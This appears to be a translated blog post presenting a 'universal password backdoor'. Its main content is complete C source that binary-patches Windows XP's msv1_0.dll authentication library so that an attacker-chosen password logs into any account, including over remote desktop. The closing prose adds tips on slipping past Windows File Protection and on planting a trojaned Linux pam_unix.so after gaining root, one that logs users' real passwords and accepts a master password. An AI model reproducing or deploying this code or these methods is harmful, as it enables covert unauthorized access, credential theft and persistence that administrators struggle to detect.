공통 암호 후문
- #include
- #include
- #include "windows.h"
- #include "wincrypt.h"
- wchar_t passwd[1024];
- char path[1024], hash[16];
- const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
- const char chunk1[] = {
- 0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
- };
- const char chunk2[] = {
- 0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
- 0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
- 0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
- 0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
- 0xC4, 0x77
- };
- void err(char *msg) {
- printf("error: %s
", msg);
- exit(1);
- }
- int main(int argc, char *argv[]) {
- HCRYPTPROV hProv;
- HCRYPTHASH hHash;
- unsigned len, sint = sizeof(int);
- FILE *fout;
- if (argc != 2) {
- printf("msv1_0.dll password backdoor generator by cly
"
- "Usage:
%s password
Only for winxp sp2
", argv[0]);
- exit(1);
- }
- len = strlen(argv[1]);
- if (len >512)
- err("the password is too long");
- len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);
- if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
- if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
- PROV_RSA_FULL,
- CRYPT_NEWKEYSET))
- err("CryptAcquireContext");
- if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
- err("CryptCreateHash");
- if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
- err("CryptHashData");
- CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
- if (len != 16)
- err("CryptGetHashParam");
- CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
- if (hHash)
- CryptDestroyHash(hHash);
- if (hProv)
- CryptReleaseContext(hProv, 0);
- if (strlen(getenv("windir")) >512)
- err("Are you kidding?");
- sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));
- if (!CopyFileA(path, "msv1_0.dll.cly", 0))
- err("CopyFileA");
- fout = fopen("msv1_0.dll.cly", "rb+");
- if (fout == NULL)
- err("fopen");
- fseek(fout, os1, SEEK_SET);
- fwrite(chunk1, sizeof(chunk1), 1, fout);
- fseek(fout, os2, SEEK_SET);
- fwrite(chunk2, sizeof(chunk2), 1, fout);
- fseek(fout, ospasswd, SEEK_SET);
- fwrite(hash, sizeof(hash), 1, fout);
- fclose(fout);
- return 0;
- }
이 프로그램을 실행하면 획득한 msv10.dll.cly를 c:\windows\system32\msv1 로 복사0.dll(WFP를 돌아갈 수 있는 방법을 생각해 보세요) 사용자가 설정한 비밀번호로 로그인할 수 있고 원격 데스크톱도 가능합니다.여기는 단지 하나의 사고방식을 제공할 뿐이다. 다른 버전, 예를 들어 win2k3는 이렇게 할 수 있을 것이다.사실 나는 처음에 인터넷에 올라온 글을 보았지만, 그는 빈 구령으로 로그인할 수 있고, 이것은 내가 설정한 구령으로 로그인할 수 있다.Linux에서 더 간단해졌어요. 자기pam을 직접 컴파일하세요unix.올라가면 돼.이거pamunix.so는 정확한 비밀번호를 기록할 수도 있고 위와 같은 통용 비밀번호 뒷문을 만들 수도 있다.나는 이렇게 했다. 먼저 비밀번호가 맞는지 아닌지를 판단하고 맞으면 기록하고 통과시킨다. 그렇지 않으면 내가 설정한 통용 비밀번호가 맞는지 판단하고 만약에 맞다면 통과시키고 다른 검증은 실패했다.이렇게 해서 내가local root에 성공한 후에 이런 뒷문을 놓으니 관리자가 정말 알아내기 어렵다.쓴 것은 단지 박수를 위해 웃는 것이다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
양식 제출 후 제출 버튼 비활성화텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.